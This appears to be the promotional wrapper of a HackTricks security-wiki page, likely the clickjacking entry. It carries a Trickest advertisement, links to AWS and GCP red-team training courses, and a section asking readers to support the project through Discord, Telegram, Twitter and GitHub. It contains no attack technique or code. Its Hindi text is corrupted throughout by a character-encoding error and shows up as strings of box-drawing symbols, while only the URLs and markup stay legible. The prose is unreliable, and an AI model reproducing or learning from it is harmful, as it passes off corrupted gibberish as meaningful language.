<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ **рд╡рд░реНрдХрдлрд╝реНрд▓реЛ** рдмрдирд╛ рдФрд░ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд** рдХрд░ рд╕рдХреЗрдВ рдЬреЛ рджреБрдирд┐рдпрд╛ рдХреЗ **рд╕рдмрд╕реЗ рдЙрдиреНрдирдд** рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реИрдВред\
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ</summary>
* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ!
* **ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** рдкрд░ рд╣рдореЗрдВ **рдлреЙрд▓реЛ** рдХрд░реЗрдВред**
* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред**
</details>
{% endhint %}